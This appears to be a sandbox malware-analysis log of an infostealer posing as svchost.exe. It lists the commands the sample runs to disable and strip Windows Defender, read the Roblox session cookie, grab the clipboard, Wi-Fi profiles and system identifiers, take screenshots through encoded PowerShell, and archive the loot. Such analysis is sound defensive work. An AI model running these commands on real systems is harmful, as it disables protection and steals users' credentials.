Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

Modifies the context of a thread in another process (thread injection)

Source: C:\ProgramData\Microsoft\hacn.exe	Thread register set: target process: 4008	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Thread register set: target process: 4008	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Thread register set: target process: 4008	Jump to behavior

Removes signatures from Windows Defender

Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Source: C:\ProgramData\Microsoft\hacn.exe

Code function: 13_2_00007FFB01E9DC50 _PyArg_ParseTuple_SizeT,PyEval_SaveThread,keybd_event,PyEval_RestoreThread,_Py_NoneStruct,_Py_NoneStruct,

13_2_00007FFB01E9DC50

Source: C:\ProgramData\Microsoft\hacn.exe

Code function: 13_2_00007FFB01E9DCF0 _PyArg_ParseTuple_SizeT,PyEval_SaveThread,mouse_event,PyEval_RestoreThread,_Py_NoneStruct,_Py_NoneStruct,

13_2_00007FFB01E9DCF0

Source: C:\Users\user\Desktop\svchost.exe	Process created: C:\Users\user\Desktop\svchost.exe "C:\Users\user\Desktop\svchost.exe"	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe C:\Users\user~1\AppData\Local\Temp\_MEI57402\Build.exe -pbeznogym	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Process created: C:\ProgramData\Microsoft\hacn.exe "C:\ProgramData\Microsoft\hacn.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Process created: C:\ProgramData\Microsoft\based.exe "C:\ProgramData\Microsoft\based.exe"	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Process created: C:\ProgramData\Microsoft\hacn.exe "C:\ProgramData\Microsoft\hacn.exe"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\ProgramData\Microsoft\based.exe "C:\ProgramData\Microsoft\based.exe"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\tree.com tree /A /F	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y1aqvv5e\y1aqvv5e.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD5AE.tmp" "c:\Users\user\AppData\Local\Temp\y1aqvv5e\CSCACBE0D10893A4D738567997C9D36227A.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe C:\Users\user~1\AppData\Local\Temp\_MEI74482\rar.exe a -r -hp"amnesia" "C:\Users\user~1\AppData\Local\Temp\bOAlC.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
